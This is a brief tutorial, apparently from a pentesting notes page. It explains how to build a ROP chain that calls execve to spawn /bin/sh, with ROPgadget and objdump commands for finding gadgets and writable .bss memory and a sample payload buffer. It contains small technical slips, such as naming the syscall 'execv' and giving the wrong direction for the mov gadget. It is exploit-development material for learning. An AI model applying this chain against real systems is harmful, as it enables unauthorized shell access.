The objective is to call the syscall (execv) from a ROP controlling the value of registries: RDI, RSI, RDX, RAX and obviously the RIP (the other ones doesn't matters), and controlling somewhere to write "/bin/sh"
RDI: Pointing to the string "/bin/bash"
RAX: Value 0x3b for x64 and 0xb for x32, because this will call execv
ROPgadget --binary vulnbinary | grep syscallROPgadget --binary vulnbinary | grep "rdi\|rsi\|rdx\|rax" | grep pop
If you can somehow write to an address and then get the address of where you have written then this step is unnecessary.
Elsewhere, you may search for some write-what-where.
As is explained in this tutorial: https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/ you have to find something that allows you to save some value inside a registry and then save it to some controlled address inside another registry. For example some
pop eax; ret ,
pop edx: ret ,
mov eax, [edx]
You can find mov gadgets doing:
ROPgadget --binary vulnbinary | grep mov
If you have found some write-what-where and can control the needed registries to call execv, there is only left finding a place to write.
objdump -x vulnbinary | grep ".bss" -B1CONTENTS, ALLOC, LOAD, DATA23 .bss 00000010 00403418 00403418 00002418 2**3
In this case: 0x403418
buffer += address(pop_eax) # place value into EAXbuffer += "/bin" # 4 bytes at a timebuffer += address(pop_edx) # place value into edxbuffer += address(writable_memory)buffer += address(writewhatwhere)buffer += address(pop_eax)buffer += "//sh"buffer += address(pop_edx)buffer += address(writable_memory + 4)buffer += address(writewhatwhere)